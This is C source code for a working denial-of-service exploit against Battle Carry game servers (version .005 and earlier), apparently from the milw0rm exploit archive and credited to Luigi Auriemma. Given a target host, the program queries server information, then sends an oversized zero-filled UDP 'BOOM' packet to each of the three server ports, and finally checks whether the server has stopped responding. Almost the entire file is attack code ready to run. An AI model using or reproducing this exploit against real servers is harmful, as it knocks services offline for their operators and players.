/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
// inserted winerr.h /str0ke
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ (8192 + 10) // +10 is for the BOOM
#define PORT 7000
#define TIMEOUT 1
#define INFO "Requesting ServerInfoObject"
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ];
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Battle Carry <= .005 socket termination "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n"
"Note: this tool blocks all the 3 available server ports\n"
"Note: port can be one of the 3 server ports, the tool will automatically\n"
" recognize it\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
// peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- get server info from port %hu:\n", port + 10);
peer.sin_port = htons(port + 10);
len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff));
if(len < 0) {
printf("- get server info from port %hu:\n", port - 1000);
peer.sin_port = htons(port - 1000);
len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff));
if(len < 0) {
printf("- get server info from port %hu:\n", port);
peer.sin_port = htons(port);
len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff));
if(len < 0) {
printf("\n"
"Alert: no query port found, I try to send the packet only to the port %hu\n",
port);
}
}
}
if(len > 0) {
port = ntohs(*(u_short *)(buff + 15));
printf(
" IP: %.15s\n"
" Port: %hu\n"
" Name: %.26s\n"
" Map: %.16s\n"
" Players: %hhu\n"
" Mode: %.5s\n"
"\n",
buff,
port,
buff + 17,
buff + 42,
buff[58],
buff + 59);
}
printf("- send BOOM packet to the port %hu\n", port);
peer.sin_port = htons(port);
memset(buff, 0, sizeof(buff));
len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff));
printf("- send BOOM packet to the port %hu\n", port + 10);
peer.sin_port = htons(port + 10);
if(len > 0) memset(buff, 0, sizeof(buff));
len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff));
printf("- send BOOM packet to the port %hu\n", port + 1010);
peer.sin_port = htons(port + 1010);
if(len > 0) memset(buff, 0, sizeof(buff));
len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff));
fputs("- check server:\n", stdout);
peer.sin_port = htons(port + 10);
len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff));
if(len < 0) {
fputs("\n Server IS vulnerable!!!\n", stdout);
} else {
fputs("\n Server doesn't seem vulnerable\n", stdout);
}
close(sd);
return(0);
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
int retry,
len;
for(retry = 2; retry; retry--) {
sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer));
if(!timeout(sd)) break;
}
if(!retry) return(-1);
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
// if(len < 0);
return(len);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-11-02]